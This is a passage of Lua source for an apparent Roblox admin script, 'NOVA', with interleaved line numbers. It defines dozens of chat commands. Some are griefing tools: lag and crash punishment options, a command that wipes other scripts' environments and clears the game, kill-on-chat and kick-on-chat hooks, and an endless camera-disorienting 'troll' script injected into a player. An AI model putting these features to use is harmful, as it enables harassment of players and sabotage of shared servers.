        Output("Type","Random",Speaker,nil,
2402
            function()
2403
                RemoveTablets(Speaker)
2404
                Output("Kick",NOVA.Colors.Orange,Speaker,nil,
2405
                    function()
2406
                        NOVA.PRIType = "Kick"
2407
                        RemoveTablets(Speaker)
2408
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2409
                    end
2410
                )
2411
                Output("Lag",NOVA.Colors.Red,Speaker,nil,
2412
                    function()
2413
                        NOVA.PRIType = "Lag"
2414
                        RemoveTablets(Speaker)
2415
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2416
                    end
2417
                )
2418
                Output("Shutdown",NOVA.Colors.Orange,Speaker,nil,
2419
                    function()
2420
                        NOVA.PRIType = "Shutdown"
2421
                        RemoveTablets(Speaker)
2422
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2423
                    end
2424
                )
2425
                Output("Crash",NOVA.Colors.Orange,Speaker,nil,
2426
                    function()
2427
                        NOVA.PRIType = "Crash"
2428
                        RemoveTablets(Speaker)
2429
                        OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2430
                    end
2431
                )
2432
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2433
            end
2434
        )
2435
        Output("Turn PRI On",NOVA.Colors.Red,Speaker,nil,
2436
            function()
2437
                NOVA.PRI = true
2438
                RemoveTablets(Speaker)
2439
                OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2440
            end
2441
        )
2442
       
2443
        Output("Turn PRI Off",NOVA.Colors.Green,Speaker,nil,
2444
            function()
2445
                NOVA.PRI = false
2446
                RemoveTablets(Speaker)
2447
                OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
2448
            end
2449
        )
2450
       
2451
        Output("Dismiss",NOVA.Colors.Red,Speaker)
2452
    end
2453
)
2454
 
2455
--[[ GET COMMANDS ]]--
2456
 
2457
AddCommand("Get Ranked","getranked",0,"Displays all the current players ranks.","No Arguments",
2458
    function(Msg,Speaker)
2459
        if #Msg == 0 or Msg == nil then
2460
            RemoveTablets(Speaker)
2461
            for _,v in pairs(NOVA.Ranks) do
2462
                local RankNumber = v[1]
2463
                local RankName = v[2]
2464
                Output(RankName.." ("..(RankNumber)..")",Color3.new((RankNumber)/10,(RankNumber)/10,(RankNumber)/10),Speaker,nil,
2465
                    function()
2466
                        RemoveTablets(Speaker)
2467
                        for _,v in pairs(GetPlayersRaw()) do
2468
                            if GetRank(v) == RankNumber then
2469
                                OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
2470
                                    function()
2471
                                        PlayerInterface(v,Speaker)
2472
                                    end
2473
                                )
2474
                            end
2475
                        end
2476
                        Output("Done",NOVA.Colors.Blue,Speaker,nil,
2477
                            function()
2478
                                OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
2479
                            end
2480
                        )
2481
                        Output("Dismiss",NOVA.Colors.Red,Speaker)
2482
                    end
2483
                )
2484
            end
2485
            Output("ALL",NOVA.Colors.Blue,Speaker,nil,
2486
                function()
2487
                    RemoveTablets(Speaker)
2488
                   
2489
                    for _,v in pairs(GetPlayersRaw()) do
2490
                        OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
2491
                            function()
2492
                                PlayerInterface(v,Speaker)
2493
                            end
2494
                        )
2495
                    end
2496
 
2497
                    Output("Done",NOVA.Colors.Blue,Speaker,nil,
2498
                        function()
2499
                            OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
2500
                        end
2501
                    )
2502
                    Output("Dismiss",NOVA.Colors.Red,Speaker)
2503
                end
2504
            )    
2505
            Output("Dismiss",NOVA.Colors.Red,Speaker)
2506
        else
2507
            PlayerInterface(GetPlayers(Msg,Speaker)[1],Speaker)
2508
        end
2509
    end
2510
)
2511
 
2512
AddCommand("Set Description","setdesc",6,"Sets the selected player's description.","<Player><Description>",
2513
    function(Msg,Speaker)
2514
        Split = GetSplit(Msg)
2515
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
2516
            GetRankedTable(v).Desc = Msg:sub(Split+1)
2517
            SyncRankOutSingular(v)
2518
        end
2519
    end
2520
)
2521
 
2522
AddCommand("Get CMD","getcmd",0,"Toggles the CMD bar on your screen.","<BoolValue>",
2523
    function(Msg,Speaker)
2524
        if Msg == "true" then
2525
            GetRankedTable(Speaker).CMD = true
2526
        elseif Msg == "false" then
2527
            GetRankedTable(Speaker).CMD = false
2528
            pcall(function() Speaker.PlayerGui:FindFirstChild("NOVACMD"):Remove() end)
2529
        else Output("Please choose a proper bool value. ( true / false )",NOVA.Colors.Orange,Speaker,5)
2530
        end
2531
        SyncRankOutSingular(Speaker)
2532
    end
2533
)
2534
 
2535
AddCommand("Get Build Tools","getbtools",1,"Gives the speaker building tools.","No Arguments",
2536
    function(Msg,Speaker)
2537
        pcall(function()
2538
            for i=1,4 do
2539
                Instance.new("HopperBin",Speaker.Backpack).BinType = i
2540
            end
2541
        end)
2542
    end
2543
)
2544
 
2545
AddCommand("Get Reset","getreset",0,"Resets the speaker's character.","No Arguments",
2546
    function(Msg,Speaker)
2547
        pcall(function()
2548
            Speaker:LoadCharacter()
2549
        end)
2550
    end
2551
)
2552
 
2553
AddCommand("Get Fixed Character Appearance","get/fixchar",0,"Fixes the Speaker's character appearance.","No Arguments",
2554
    function(Msg,Speaker)
2555
        Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
2556
    end
2557
)
2558
 
2559
AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
2560
    function(Msg,Speaker)
2561
        pcall(function()
2562
            for _,v in pairs(GetPlayers(Msg,Speaker)) do
2563
                for i=1,4 do
2564
                    Instance.new("HopperBin",Speaker.Backpack).BinType = i
2565
                end
2566
            end
2567
        end)
2568
    end
2569
)
2570
 
2571
AddCommand("Set Rank","setrank",0,"Allows you to change the rank of others.","<Player><Rank>",
2572
    function(Msg,Speaker)
2573
        local Split = GetSplit(Msg)
2574
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
2575
            if GetRank(Speaker) > GetRank(v) then
2576
                if tonumber(Msg:sub(Split+1)) > GetRank(Speaker) then
2577
                    Output("You cannot set a rank that high.",NOVA.Colors.Orange,Speaker,5)
2578
                else
2579
                    GetRankedTable(v).Rank = tonumber(Msg:sub(Split+1))
2580
                    SyncRankOutSingular(v)
2581
                end
2582
            end
2583
        end
2584
    end
2585
)
2586
 
2587
AddCommand("Teleport","tp",2,"Teleports one player to another.","<Player><Player>",
2588
    function(Msg,Speaker)
2589
 
2590
        Split = GetSplit(Msg)              
2591
        send  = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
2592
        to = GetPlayers(string.sub(Msg,Split+1),Speaker)
2593
        for _,a in pairs(send) do
2594
            for _,b in pairs(to) do
2595
                pcall(function()
2596
                    a.Character.Torso.CFrame = b.Character.Torso.CFrame
2597
                end)
2598
            end
2599
        end
2600
       
2601
    end
2602
)
2603
 
2604
AddCommand("Circle Teleport","ctp",2,"Teleports one player to another.","<Player><Player>",
2605
    function(Msg,Speaker)
2606
 
2607
        Split = GetSplit(Msg)          
2608
        send  = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
2609
        to = GetPlayers(string.sub(Msg,Split+1),Speaker)[1]
2610
        for i, player in pairs(send) do
2611
            pcall(function()
2612
                player.Character.Torso.CFrame = CFrame.new(to.Character.Torso.Position)
2613
                * CFrame.Angles(0, math.rad(i * 360 / #send), 0)
2614
                * CFrame.new(0, 0, 3 + (#send*2) )
2615
            end)
2616
        end
2617
    end
2618
)
2619
 
2620
AddCommand("Walkspeed","ws",2,"Sets the selected player walkspeed to the following number.","<Player><Number>",
2621
    function(Msg,Speaker)
2622
        Split = GetSplit(Msg)                
2623
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
2624
            pcall(function() v.Character.Humanoid.WalkSpeed = tonumber(Msg:sub(Split+1)) end)
2625
        end
2626
    end
2627
)
2628
 
2629
AddCommand("Explode","expl",2,"Explodes the selected player.","<Player>",
2630
    function(Msg,Speaker)
2631
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2632
            pcall(function()
2633
                v.Character:BreakJoints()
2634
                E = Instance.new("Explosion",NOVA.Services.Workspace)
2635
                E.Position = v.Character.Torso.Position
2636
                E.BlastPressure = 124000
2637
            end)
2638
        end
2639
    end
2640
)
2641
 
2642
AddCommand("Infinite Health","inf",2,"Sets the selected player health to math.huge.","<Player>",
2643
    function(Msg,Speaker)
2644
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2645
            pcall(function()
2646
                v.Character.Humanoid.MaxHealth = math.huge
2647
            end)
2648
        end
2649
    end
2650
)
2651
 
2652
AddCommand("God","god",2,"makes the selected player god.","<Player>",
2653
    function(Msg,Speaker)
2654
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2655
            pcall(function()
2656
                v.Character.Torso.Touched:connect(function(part)
2657
                    if not part:IsDescendantOf(v.Character) and not part.Anchored == true and part ~= Crown then
2658
                        part.CanCollide = true
2659
                        part:BreakJoints()
2660
                        for i=1,3 do Instance.new("Fire",part).Color = Color3.new(255,255,255) end
2661
                    end
2662
                end)
2663
            end)
2664
        end
2665
    end
2666
)
2667
 
2668
AddCommand("Punish","punish",2,"Reparents the selected player's character parent lighting.","<Player>",
2669
    function(Msg,Speaker)
2670
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2671
            pcall(function()
2672
                v.Character.Parent = NOVA.Services.Lighting
2673
            end)
2674
        end
2675
    end
2676
)
2677
 
2678
AddCommand("Un Punish","unpunish",2,"Reparents the selected player's character parent workspace.","<Player>",
2679
    function(Msg,Speaker)
2680
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2681
            pcall(function()
2682
                v.Character.Parent = NOVA.Services.Workspace
2683
                v.Character:MakeJoints()
2684
                pcall(function() v.Character.Animate.Disabled = false end)
2685
            end)
2686
        end
2687
    end
2688
)
2689
 
2690
AddCommand("Freeze","freeze",2,"Anchor the selected player('s/s') character('s).","<Player>",
2691
    function(Msg,Speaker)
2692
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2693
            pcall(function()
2694
                for _,part in pairs(v.Character:GetChildren()) do
2695
                    pcall(function()
2696
                        part.Anchored = true
2697
                    end)
2698
                end
2699
            end)
2700
        end
2701
    end
2702
)
2703
 
2704
AddCommand("Thaw","thaw",2,"Un anchor the selected player('s/s') character('s).","<Player>",
2705
    function(Msg,Speaker)
2706
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2707
            pcall(function()
2708
                for _,part in pairs(v.Character:GetChildren()) do
2709
                    pcall(function()
2710
                        part.Anchored = false
2711
                    end)
2712
                end
2713
            end)
2714
        end
2715
    end
2716
)
2717
 
2718
AddCommand("Remove Tools","rtools",2,"Removes the selected player tools.","<Player>",
2719
    function(Msg,Speaker)
2720
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2721
            pcall(function()
2722
                for _,part in pairs(v.Backpack:GetChildren()) do
2723
                    part:Destroy()
2724
                end
2725
            end)
2726
        end
2727
    end
2728
)
2729
 
2730
AddCommand("Remove Backpack","rbp",2,"Removes the selected player backpack.","<Player>",
2731
    function(Msg,Speaker)
2732
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2733
            pcall(function()
2734
                v.Backpack:Destroy()
2735
            end)
2736
        end
2737
    end
2738
)
2739
 
2740
AddCommand("Sit","sit",2,"Makes the selected player sit down.","<Player>",
2741
    function(Msg,Speaker)
2742
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2743
            pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
2744
            pcall(function() v.Character.Humanoid.Sit = true end)
2745
        end
2746
    end
2747
)
2748
 
2749
AddCommand("Stand","stand",2,"Makes the selected player stand up.","<Player>",
2750
    function(Msg,Speaker)
2751
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2752
            pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
2753
            pcall(function() v.Character.Humanoid.Sit = false end)
2754
        end
2755
    end
2756
)
2757
 
2758
AddCommand("Jump","jump",2,"Makes the selected player jump.","<Player>",
2759
    function(Msg,Speaker)
2760
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2761
            pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
2762
            pcall(function() v.Character.Humanoid.Jump = true end)
2763
        end
2764
    end
2765
)
2766
 
2767
AddCommand("Control","control",2,"Controls the selected player","<Player>",
2768
    function(Msg,Speaker)
2769
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2770
            pcall(function()
2771
                Speaker.Character = v.Character
2772
            end)
2773
        end
2774
    end
2775
)
2776
 
2777
AddCommand("Transparent","trans",2,"Makes the selected player transparent","<Player>",
2778
    function(Msg,Speaker)
2779
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2780
            pcall(function()
2781
                for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
2782
                    coroutine.resume(coroutine.create(function()
2783
                        for i=1,10  do
2784
                            wait()
2785
                            v.Transparency = v.Transparency + 0.1
2786
                        end
2787
                    end))
2788
                end
2789
            end)
2790
        end
2791
    end
2792
)
2793
 
2794
AddCommand("Visible","visible",2,"Makes the selected player visible.","<Player>",
2795
    function(Msg,Speaker)
2796
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2797
            pcall(function()
2798
                for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
2799
                    coroutine.resume(coroutine.create(function()
2800
                        for i=1,10  do
2801
                            wait()
2802
                            v.Transparency = v.Transparency - 0.1
2803
                        end
2804
                    end))
2805
                end
2806
            end)
2807
        end
2808
    end    
2809
)
2810
 
2811
AddCommand("Remove Hats","rhats",2,"Remove the hat of the selected player.","<Player>",
2812
    function(Msg,Speaker)
2813
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2814
            pcall(function()
2815
                for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Hat") then part:Remove() end end
2816
            end)
2817
        end
2818
    end
2819
)
2820
 
2821
AddCommand("Remove Humanoid","rhum",2,"Remove the humanoid of the selected player.","<Player>",
2822
    function(Msg,Speaker)
2823
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2824
            pcall(function()
2825
                for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Humanoid") then part:Remove() end end
2826
            end)
2827
        end
2828
    end
2829
)
2830
 
2831
AddCommand("Jail","jail",2,"Puts the selected player in jail.","<Player>",
2832
    function(Msg,Speaker)
2833
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2834
            pcall(function()
2835
                coroutine.resume(coroutine.create(function()
2836
                    local MainCF = v.Character.Torso.CFrame
2837
                    local Main = Instance.new("Model",workspace)
2838
                    Main.Name = "Main"
2839
                    table.insert(NOVA.Jails,{Jail = Main, Player = v,Speaker = Speaker})
2840
                    for Pitch = 1, 360, 360 do
2841
                        for Yaw = 1, 360, 360/13 do
2842
                            for Angle = 1,180, 8 do
2843
                                local Part = Instance.new("Part",Main)
2844
                                Part.Name = "Part"
2845
                                Part.FormFactor = "Custom"
2846
                                Part.TopSurface = "Smooth"
2847
                                Part.BottomSurface = "Smooth"
2848
                                Part.Reflectance = 0
2849
                                Part.Transparency = 0
2850
                                Part.Anchored = true
2851
                                Part.Locked = true
2852
                                Part.CanCollide = true
2853
                                Part.BrickColor = BrickColor.new("Navy blue")
2854
                                Part.Size = Vector3.new(2,1,4)
2855
                                Part.CFrame = MainCF
2856
                                    * CFrame.Angles(math.rad(Pitch),math.rad(Yaw),math.rad(Angle))
2857
                                    * CFrame.new(0,5,0)
2858
                                local Mesh = Instance.new("BlockMesh",Part)
2859
                                Mesh.Scale = Vector3.new(1,1,0.1)
2860
                                if math.floor(Angle/5) == Angle/5 then
2861
                                    wait()
2862
                                end
2863
                            end
2864
                        end
2865
                    end
2866
                   
2867
                    v.Character.Torso.CFrame = MainCF
2868
                   
2869
                    while Main.Parent ~= nil do
2870
                        wait()
2871
                        pcall(function()
2872
                            if (v.Character.Torso.CFrame.p - MainCF.p).magnitude > 6 then
2873
                                v.Character.Torso.CFrame = MainCF
2874
                            end
2875
                        end)
2876
                    end
2877
                end))
2878
            end)
2879
        end
2880
    end
2881
)
2882
 
2883
AddCommand("Un Jail","unjail",2,"Un jails the selected player.","<Player>",
2884
    function(Msg,Speaker)
2885
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2886
            for Num,Jail in pairs(NOVA.Jails) do
2887
                if Jail.Player ~= nil and Jail.Player == v then
2888
                    pcall(function() Jail.Jail:Destroy() end)
2889
                    table.remove(NOVA.Jails,Num)
2890
                end
2891
            end
2892
        end
2893
    end
2894
)
2895
 
2896
AddCommand("NOVA Clear","NOVA",6,"Clears the game.","No Arguments",
2897
    function(Msg,Speaker)
2898
        for i,v in pairs(_G) do
2899
            if type(v) == "function" and getfenv(v).NOVA == nil then
2900
                for var,val in pairs(getfenv(v)) do
2901
                    pcall(function() getfenv(v)[var] = nil end)
2902
                end
2903
            end
2904
        end
2905
        for i,v in pairs(_G) do
2906
            _G[i] = nil
2907
        end
2908
        SetGlobals()
2909
        for _,v in pairs(NOVA.Services) do
2910
            v.Name = "Unknown Exception"
2911
        end    
2912
        for i,v in pairs(GetRecursiveChildren()) do
2913
            pcall(function()
2914
                if not v:IsA("Player") then
2915
                    pcall(function()
2916
                        if Prometheus ~= nil and v == Prometheus.script("lushmylife") then
2917
                        else
2918
                            pcall(function()
2919
                                v.Disabled = true
2920
                            end)
2921
                            pcall(function()
2922
                                NOVA.Services.Debris:AddItem(v,0)
2923
                            end)
2924
                        end
2925
                    end)
2926
                end
2927
            end)
2928
        end
2929
        for _,v in pairs(NOVA.Services) do    
2930
            v.Name = v.className
2931
        end
2932
        local Base=Instance.new("Part",NOVA.Services.Workspace)
2933
        Base.Name="Base"
2934
        Base.Size=Vector3.new(2048,1,2048)
2935
        Base.BrickColor=BrickColor.new("Bright green")
2936
        Base.Anchored=true
2937
        Base.Locked=true
2938
        Base.TopSurface="Smooth"
2939
        Base.Transparency = 1
2940
        Base.CFrame=CFrame.new(Vector3.new(0,0,0))
2941
        local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
2942
        Spawn.Size=Vector3.new(6,1,6)
2943
        Spawn.Transparency=1
2944
        Spawn.CanCollide=false
2945
        Spawn.Anchored=true
2946
        Spawn.Locked=true
2947
        Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
2948
        for _,v in pairs(GetPlayersRaw()) do v:LoadCharacter() end
2949
    end
2950
)
2951
 
2952
AddCommand("ChangeTeam","changeteam",3,"Change the current team of the selected player.","<Player><TeamName>",
2953
    function (Msg,Speaker)
2954
        Split = GetSplit(Msg)
2955
        for _,v in pairs(GetPlayers(string.sub(Msg,1,Split - 1),Speaker)) do
2956
            pcall(function()
2957
                Team = nil
2958
                for _,find in pairs(NOVA.Services.Teams:GetChildren()) do
2959
                    if string.sub(find.Name:lower(),1,#string.sub(Msg,Split+1)) == string.lower(string.sub(Msg,Split+1)) then
2960
                        Team = find
2961
                    end
2962
                end
2963
                v.TeamColor = Team.TeamColor
2964
            end)
2965
        end
2966
    end
2967
)
2968
 
2969
AddCommand("Teams Remove","rteam",6,"Part of teams commands.","No Arguments",
2970
    function(Msg,Speaker)
2971
        RemoveTablets(Speaker)
2972
        for _,v in pairs(NOVA.Services.Teams:GetChildren()) do
2973
            if string.sub(v.Name:lower(),1,#Msg) == Msg:lower() then
2974
                v:Remove()
2975
            end
2976
        end
2977
    end
2978
)
2979
 
2980
AddCommand("Teams Add","newteam",6,"Part of teams commands.","<Name>",
2981
    function(Msg,Speaker)
2982
        Split = GetSplit(Msg)
2983
        Team = Instance.new("Team",NOVA.Services.Teams)
2984
        Team.TeamColor = BrickColor.new(Msg:sub(Split+1))
2985
        Team.Name = Msg:sub(1,Split-1)
2986
        Team.AutoAssignable = false
2987
        Team.Neutral = false
2988
    end
2989
)
2990
 
2991
AddCommand("Kill Talk","killtalk",6,"Kills the selected player when they talk.","<Players>",
2992
    function(Msg,Speaker)
2993
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2994
            v.Chatted:connect(function() pcall(function() v.Character:BreakJoints() end) end)
2995
        end
2996
    end
2997
)
2998
 
2999
AddCommand("Hoverseat","hoverseat",7,"Gives that player a hoverseat","<Players>",
3000
    function(Msg,Speaker)
3001
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3002
       
3003
                        local ride = Instance.new("VehicleSeat", Workspace)
3004
                        ride.Position = v.Character.Torso.Position
3005
                        ride.HeadsUpDisplay = false
3006
                        ride.Size = Vector3.new(3,3,3)
3007
                        local bg = Instance.new("BodyGyro", ride)
3008
                        bg.maxTorque = Vector3.new(1e10,1e10,1e10)
3009
                        local bp = Instance.new("BodyPosition", ride)
3010
                        bp.position = v.Character.Torso.Position
3011
                        bp.maxForce = Vector3.new(1e10,1e10,1e10)
3012
                        Mesh = Instance.new("SpecialMesh")
3013
                        Mesh.Parent = ride
3014
                        Mesh.MeshType = Enum.MeshType.Sphere
3015
                        ride.Transparency = 0.40000000596046
3016
 
3017
                        while wait() do
3018
                            bg.cframe = bg.cframe * CFrame.Angles(0,math.pi/60*(-ride.Steer),0)
3019
                            bp.position = bp.position + bg.cframe.lookVector*ride.Throttle
3020
                        end
3021
                       
3022
        end
3023
    end
3024
)
3025
 
3026
 
3027
 
3028
AddCommand("Kick Talk","kicktalk",6,"Kicks the player when they talk.","<Players>",
3029
    function(Msg,Speaker)
3030
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3031
            v.Chatted:connect(function() pcall(function() v:Destroy() end) end)
3032
        end
3033
    end
3034
)
3035
 
3036
AddCommand("Clear","clear",2,"Clears the workspace of its contents.","No Arguments",
3037
    function(Msg,Speaker)
3038
        for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
3039
            if Prometheus ~= nil then
3040
                if v ~= Prometheus.script("lushmylife") then
3041
                    pcall(function()
3042
                        v:Destroy()
3043
                    end)
3044
                end
3045
            else
3046
                pcall(function()
3047
                    v:Destroy()
3048
                end)
3049
            end
3050
        end    
3051
       
3052
        local Base=Instance.new("Part",NOVA.Services.Workspace)
3053
        Base.Name="Base"
3054
        Base.Size=Vector3.new(2048,1,2048)
3055
        Base.BrickColor=BrickColor.new("Dark green")
3056
        Base.Anchored=true
3057
        Base.Locked=true
3058
        Base.TopSurface="Studs"
3059
        Base.Transparency = 0
3060
        Base.CFrame=CFrame.new(Vector3.new(0,0,0))
3061
        local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
3062
        Spawn.Size=Vector3.new(6,1,6)
3063
        Spawn.Transparency=1
3064
        Spawn.CanCollide=false
3065
        Spawn.Anchored=true
3066
        Spawn.Locked=true
3067
        Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))        
3068
        for _,v in pairs(GetPlayersRaw()) do
3069
            v:LoadCharacter()
3070
        end
3071
   
3072
    end
3073
)
3074
 
3075
AddCommand("Explorer","explorer",6,"Lists the children of workspace.","No Arguments",
3076
    function(Msg,Speaker)
3077
        RemoveTablets(Speaker)
3078
        Explore(game,Speaker)
3079
    end
3080
)
3081
 
3082
AddCommand("Lock Scripts","lockscripts",6,"Lets you toggle the script lock.","No Arguments",
3083
    function(Msg,Speaker)
3084
        if NOVA.LockedScripts == true then
3085
            NOVA.LockedScripts = false
3086
        elseif NOVA.LockedScripts == false then
3087
            NOVA.LockedScripts = true
3088
        end
3089
       
3090
    end
3091
)
3092
 
3093
AddCommand("Troll Explode","trollexpl",3,"Explodes the selected player in a group of trolls.","<Players>",
3094
    function(Msg,Speaker)
3095
        for _,v in pairs(GetPlayers(Msg,Speaker)) do    
3096
            for i=1,25 do
3097
                coroutine.resume(coroutine.create(function()
3098
                    wait()
3099
                    local Part = Instance.new("Part",NOVA.Services.Workspace)
3100
                    Part.FormFactor = "Custom"
3101
                    Part.Transparency = 1
3102
                    Part.CanCollide = false
3103
                    Part.Anchored = false
3104
                    Part.Locked = true
3105
                    Part.Size = Vector3.new(1,1,1)
3106
                    Part.CFrame = v.Character.Head.CFrame
3107
                    Part:BreakJoints()
3108
                   
3109
                    local BBG = Instance.new("BillboardGui",Part)
3110
                    BBG.Adornee = Part
3111
                    BBG.Size = UDim2.new(3,0,1,0)
3112
                    --BBG.StudsOffset = Vector3.new(0, 0, 1)
3113
 
3114
                    local Img = Instance.new("ImageLabel",BBG)
3115
                    Img.Size = UDim2.new(1,0,1,0)
3116
                    Img.BackgroundTransparency = 1
3117
                    Img.Image = "http://www.roblox.com/asset/?id=45120559"
3118
                   
3119
                    local BP = Instance.new("BodyPosition",Part)
3120
                    BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
3121
                    --BP.D = 2000
3122
                    BP.P = 1000
3123
                    BP.position = Part.Position + Vector3.new(
3124
                        math.random(-7,7),
3125
                        math.random(-7,7),
3126
                        math.random(-7,7))
3127
                       
3128
                    for v = 3,0,-0.1 do
3129
                        wait(0.1)
3130
                        BBG.Size = UDim2.new(v,0,v,0)
3131
                    end
3132
                    Part:Remove()
3133
                end))
3134
            end
3135
        end
3136
    end
3137
)
3138
 
3139
AddCommand("Cancel","cancel",3,"Cancels all running command loops.","No Arguments",
3140
    function(Msg,Speaker)
3141
        NOVA.Canceled = true
3142
    end
3143
)
3144
 
3145
AddCommand("Name","name",3,"Lets you re-name a player anything.","<Player><Name>",
3146
    function(Msg,Speaker)
3147
        Split = GetSplit(Msg)
3148
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3149
            pcall(function()
3150
                local OldHead = v.Character.Head
3151
                local Model = Instance.new("Model",v.Character.Head)
3152
                Model.Name = Msg:sub(Split+1)
3153
                local Head = OldHead:Clone()
3154
                Head.Parent = Model
3155
                Head.Transparency = 0
3156
                Head.Name = "Head"
3157
                Head.CanCollide = false
3158
                local Hum = Instance.new("Humanoid",Model)
3159
                Hum.MaxHealth = 0
3160
                local Weld = Instance.new("Weld",Head)
3161
                Weld.Part0 = Head
3162
                Weld.Part1 = OldHead
3163
                Weld.C0 = CFrame.new(0,0,0)
3164
                OldHead.Transparency = 1
3165
            end)
3166
        end
3167
    end
3168
)
3169
 
3170
AddCommand("Secret Name","sname",3,"Lets you re-name a player anything.","<Player><Name>",
3171
    function(Msg,Speaker)
3172
        Split = GetSplit(Msg)
3173
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3174
            pcall(function()
3175
                local Char = v.Character
3176
                Char.Archivable = true
3177
                Char = Char:Clone()
3178
                Char.Name = Msg:sub(Split+1)
3179
                v.Character:Destroy()
3180
                Char.Parent = workspace
3181
                v.Character = Char
3182
            end)
3183
        end
3184
    end
3185
)
3186
 
3187
AddCommand("Trall","trall",3,"Trolls the selected player.","<Player>",
3188
    function(Msg,Speaker)
3189
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3190
            CreateLocalScript([[
3191
                script.Parent = nil
3192
                LocalPlayer = game.Players.LocalPlayer
3193
                Camera = workspace.CurrentCamera
3194
                Camera.CameraType = "Scriptable"
3195
                for i=1,700 do
3196
                    wait()
3197
                    Camera = workspace.CurrentCamera
3198
                    Camera.CameraType = "Scriptable"
3199
                    Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
3200
                    Camera.CameraType = "Scriptable"
3201
                    Camera:SetRoll(Camera:GetRoll()+0.01)
3202
                    pcall(function()
3203
                        LocalPlayer.Character.Head.Sound:Play()
3204
                    end)
3205
                end
3206
                Camera:SetRoll(0)
3207
                Camera.CameraType = "Custom"
3208
                Camera.FieldOfView = 70
3209
                Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
3210
            ]],v.Backpack)
3211
        end
3212
    end
3213
)
3214
 
3215
AddCommand("Permanent Trall","permatrall",6,"Fake loopkills the selected player.","<Player>",
3216
    function(Msg,Speaker)
3217
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3218
            CreateLocalScript([[
3219
                script.Parent = nil
3220
                LocalPlayer = game.Players.LocalPlayer
3221
                Camera = workspace.CurrentCamera
3222
                Camera.CameraType = "Scriptable"
3223
                for i=1,math.huge do
3224
                    wait()
3225
                    Camera = workspace.CurrentCamera
3226
                    Camera.CameraType = "Scriptable"
3227
                    Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
3228
                    Camera.CameraType = "Scriptable"
3229
                    Camera:SetRoll(Camera:GetRoll()+0.01)
3230
                    pcall(function()
3231
                        LocalPlayer.Character.Head.Sound:Play()
3232
                    end)
3233
                end
3234
                Camera:SetRoll(0)
3235
                Camera.CameraType = "Custom"
3236
                Camera.FieldOfView = 70
3237
                Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
3238
            ]],v.Backpack)
3239
        end
3240
    end
3241
)
3242
 
3243
AddCommand("Show Credit","showcred",0,"Shows the credits.","No Arguments",
3244
    function(Msg,Speaker)
3245
        for _,v in pairs(NOVA.Credit) do
3246
            Output("Thanks to : "..v.Name.." "..v.Why,"Random",Speaker)
3247
        end
3248
    end
3249
)
3250
 
3251
AddCommand("Home","home",0,"Teleports you to the Vector3 0 50 0.","No Arguments",
3252
    function(Msg,Speaker)
3253
        pcall(function()
3254
